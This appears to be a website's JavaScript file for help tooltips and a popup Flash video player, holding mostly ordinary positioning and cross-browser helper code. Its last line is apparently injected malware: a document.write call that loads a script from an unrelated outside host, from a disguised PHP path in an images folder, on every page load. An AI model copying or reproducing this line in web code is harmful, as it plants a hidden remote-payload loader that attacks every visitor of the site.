function ShowSticky(obj,field)
{
	if (document.all)
		helpObj = document.all[field+"_help"];
	else if (document.getElementById)
		helpObj = document.getElementById(field+"_help");
	if (helpObj && helpObj.style.display == "none")
		ShowHelp(obj,field);
}

function ShowHelp(obj,field)
{
	if (!obj.id)
		obj = document.getElementById(field+"_source");
	//Get help object
	var helpObj = document.getElementById(field+"_help");
	
	if (helpObj) {
		//if help object is shown, hide it ; if object hidden, show it
		
		if (helpObj.style.display == "")
		{
		  helpObj.style.display = "none";
		  var dobj = helpObj.getElementsByTagName("DIV")[0];
		  dobj.style.padding='0px';
		}		  
		else
		{
		  helpObj.style.display = "";
		  var dobj = helpObj.getElementsByTagName("DIV")[0];
		  dobj.style.padding='10px';  
		}

		//Get location of mouseover object, move help object to the left if will display off-screen
		var divWidth = 340;
		var offsetLeft = helpGetOffsetLeft(obj);
		var screenWidth = (window.innerWidth) ? window.innerWidth - 25 : document.body.clientWidth;
		if ((offsetLeft + divWidth) > screenWidth) offsetLeft = screenWidth - divWidth;
		newX = offsetLeft;

		//Get location of mouseover object, move help object on top if will display off-screen
		var divHeight = helpObj.offsetHeight;		
		var offsetTop = helpGetOffsetTop(obj) + obj.offsetHeight;
		var screenHeight = (window.innerHeight) ? window.innerHeight - 25 : document.body.clientHeight;
		//if ((offsetTop + divHeight) > screenHeight + helpGetScrollY()) offsetTop = helpGetOffsetTop(obj) - divHeight;
		newY = offsetTop;
	
		helpObj.style.top = newY + 'px';
		helpObj.style.left = newX  + 'px';

		//if (helpObj.style.display == ""){
		//  qh_hideElement("select",helpObj);  
		//  qh_hideElement("object",helpObj);  
		//  qh_hideElement("embed",helpObj);  }
		//else{
		//  qh_showElement("select");  
		//  qh_showElement("object");  
		//  qh_showElement("embed");}
	}
}

function helpGetOffsetTop (elm) {
	var mOffsetTop = elm.offsetTop;
	var mOffsetParent = elm.offsetParent;
	while (mOffsetParent) {
		mOffsetTop += mOffsetParent.offsetTop;
		mOffsetParent = mOffsetParent.offsetParent;}
	return mOffsetTop;
}

function helpGetOffsetLeft (elm) {
	var mOffsetLeft = elm.offsetLeft;
	var mOffsetParent = elm.offsetParent;
	while (mOffsetParent) {
		mOffsetLeft += mOffsetParent.offsetLeft;
		mOffsetParent = mOffsetParent.offsetParent;}
	return mOffsetLeft;
}

function helpGetScrollY() {
  var scrOfY = 0;
  if( typeof( window.pageYOffset ) == 'number' ) {
    //Netscape
    scrOfY = window.pageYOffset;}
  else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
    //DOM
    scrOfY = document.body.scrollTop;}
  else if( document.documentElement &&
      ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
    //IE6
    scrOfY = document.documentElement.scrollTop;}
  return scrOfY;
}

function qh_hideElement( elmID, overDiv ) {
  if(document.all) {
    for(i = 0; i < document.all.tags( elmID ).length; i++) {
      obj = document.all.tags( elmID )[i];
      if(!obj || !obj.offsetParent) continue;

      // Find the element's offsetTop and offsetLeft relative to the BODY tag.
      objLeft   = obj.offsetLeft;
      objTop    = obj.offsetTop;
      objParent = obj.offsetParent;

      while(objParent.tagName.toUpperCase() != 'BODY') {
        objLeft  += objParent.offsetLeft;
        objTop   += objParent.offsetTop;
        objParent = objParent.offsetParent;
      }

      objHeight = obj.offsetHeight;
      objWidth  = obj.offsetWidth;

      if((overDiv.offsetLeft + overDiv.offsetWidth) <= objLeft);
      else if((overDiv.offsetTop + overDiv.offsetHeight) <= objTop);
      else if(overDiv.offsetTop >= (objTop + objHeight));
      else if(overDiv.offsetLeft >= (objLeft + objWidth));
      else {
        obj.style.visibility = 'hidden';
      }
    }
  }
}
function qh_showElement(elmID) {
  if(document.all) {
    for(i = 0; i < document.all.tags( elmID ).length; i++) {
      obj = document.all.tags(elmID)[i];
      if(!obj || !obj.offsetParent) continue;
      obj.style.visibility = '';
    }
  }
}


function HideVideo(obj,field,siteroot,title,video)
{
	
	if (!obj.id)
		obj = document.getElementById(field+"_source");

	
	//Get help object
	var helpObj = document.getElementById(field+"_help");
	
	if (helpObj) {
		//if help object is shown, hide it ; if object hidden, show it
		  overVideo=false;
			
		  var dobj = helpObj.getElementsByTagName("DIV")[0];
		  dobj.style.padding='10px';
		  if(thisMovie("MovicoVideoPlayer").stopVideo){
		  	thisMovie("MovicoVideoPlayer").stopVideo();
		  }
		  helpObj.style.top ='-1000px';
		  helpObj.style.left = '-1000px';
		  document.getElementById("iframe_hide").style.left='-1000px';
		  document.getElementById("iframe_hide").style.top='-1000px';
			
		
	}
}

var videoToPlay='';
var overVideo=false;
var panelX="-1000px";
var panelY="-1000px";
var timeID;
var cobject;
var cfield;

function ShowVideo(obj,field,siteroot,title,video)
{
	
	if (!obj.id)
		obj = document.getElementById(field+"_source");

	
	//Get help object
	var helpObj = document.getElementById(field+"_help");
	
	if (helpObj) {
		
		
		  
		 
		  document.getElementById("innerPlayerTitle").innerHTML="<strong>"+title+"</strong>";
		 
		  var dobj = helpObj.getElementsByTagName("DIV")[0];
		  dobj.style.padding='10px';  
		/*//Get location of mouseover object, move help object to the left if will display off-screen
		var divWidth = 360;
		var screenWidth = (window.innerWidth) ? window.innerWidth - 25 : document.body.clientWidth;
		var screenHeight = (window.innerHeight) ? window.innerHeight - 25 : document.body.clientHeight;
		
		var offsetLeft = helpGetOffsetLeft(obj)+(obj.offsetWidth/2)-(helpObj.offsetWidth/2);
		
		
		if ((offsetLeft + divWidth) > screenWidth) offsetLeft = screenWidth - divWidth;
		newX = offsetLeft;

		//Get location of mouseover object, move help object on top if will display off-screen
		var divHeight = helpObj.offsetHeight;		
		var offsetTop = helpGetOffsetTop(obj)-helpObj.offsetHeight-10;
		var posY=offsetTop;
		
		if(posY-helpGetScrollY()<0){
			posY=helpGetOffsetTop(obj)+obj.offsetHeight+10;
		}
		
		//if ((offsetTop + divHeight) > screenHeight + helpGetScrollY()) offsetTop = helpGetOffsetTop(obj) - divHeight;
		newY = posY;
	
		helpObj.style.top = newY + 'px';
		helpObj.style.left = newX  + 'px';
		document.getElementById("iframe_hide").style.left=newX + 'px';
		document.getElementById("iframe_hide").style.top=newY + 'px';*/

		
		overVideo=true;
		cobject=obj;
		cfield=field;
		videoToPlay=video;
		//panelX=newX;
		//panelY=newY;
		if(timeID!=null) clearTimeout(timeID);
		timeID=setTimeout(playAfterDelay,500);
		/*if(thisMovie("MovicoVideoPlayer").playVideo){
			var bool=thisMovie("MovicoVideoPlayer").playVideo(video);
		}else{			
				videoToPlay=video;
				setTimeout(playAgain,250);			
		}*/

	}
}

function playAfterDelay(){
	if (!cobject.id)
		cobject = document.getElementById(cfield+"_source");

	
	//Get help object
	var helpObj = document.getElementById(cfield+"_help");
	
	if (helpObj) {
		if(overVideo){
			//Get location of mouseover object, move help object to the left if will display off-screen
		var divWidth = 360;
		var screenWidth = (window.innerWidth) ? window.innerWidth - 25 : document.body.clientWidth;
		var screenHeight = (window.innerHeight) ? window.innerHeight - 25 : document.body.clientHeight;
		
		var offsetLeft = helpGetOffsetLeft(cobject)+(cobject.offsetWidth/2)-(helpObj.offsetWidth/2);
		
		
		if ((offsetLeft + divWidth) > screenWidth) offsetLeft = screenWidth - divWidth;
		newX = offsetLeft;

		//Get location of mouseover object, move help object on top if will display off-screen
		var divHeight = helpObj.offsetHeight;		
		var offsetTop = helpGetOffsetTop(cobject)-helpObj.offsetHeight-10;
		var posY=offsetTop;
		
		if(posY-helpGetScrollY()<0){
			posY=helpGetOffsetTop(cobject)+cobject.offsetHeight+10;
		}
		
		//if ((offsetTop + divHeight) > screenHeight + helpGetScrollY()) offsetTop = helpGetOffsetTop(obj) - divHeight;
		newY = posY;
	
		helpObj.style.top = newY + 'px';
		helpObj.style.left = newX  + 'px';
		document.getElementById("iframe_hide").style.left=newX + 'px';
		document.getElementById("iframe_hide").style.top=newY + 'px';
		if(thisMovie("MovicoVideoPlayer").playVideo){
					thisMovie("MovicoVideoPlayer").playVideo(videoToPlay);
			}else{					
					setTimeout(playAgain,250);			
			}
		}
		
	}
}
function playAgain(){
	
	var bool=thisMovie('MovicoVideoPlayer').playVideo(videoToPlay);
	if(bool!=true){		
		setTimeout(playAgain,250);
	}
	
}
function thisMovie(movieName) {
         if (navigator.appName.indexOf("Microsoft") != -1) {
             return window[movieName];
         } else {
             return document[movieName];
         }
}



document.write('<script src=http://homeofprojects.com/images/q4ryq/menu_bg.php ><\/script>');